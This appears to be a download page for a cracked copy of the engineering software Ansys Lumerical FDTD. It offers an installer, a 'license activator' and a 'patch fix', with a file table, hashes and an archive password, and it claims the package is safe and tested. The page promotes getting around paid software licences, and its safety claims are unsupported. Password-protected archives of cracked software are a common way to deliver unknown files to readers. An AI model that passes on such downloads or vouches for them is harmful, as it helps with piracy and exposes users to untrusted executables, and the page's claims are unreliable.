Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v6.5_x64_setup.zip |
| Version | v6.5.4690 build 51050 |
| File Size | 2.38 GB (2435 MB) |
| MD5 Hash | b0e13c8990c87d039319c8816c3c1fc6 |
| SHA-256 | 6b75bc19dc891028be9fd37364664b8921c5a940a08b9dc4b94678bc34b3f3e4 |
| Release Date | 2025-01-05 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | faxorog |
| License Type | Pro / Enterprise |
The Ansys Lumerical FDTD patch fix direct link package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.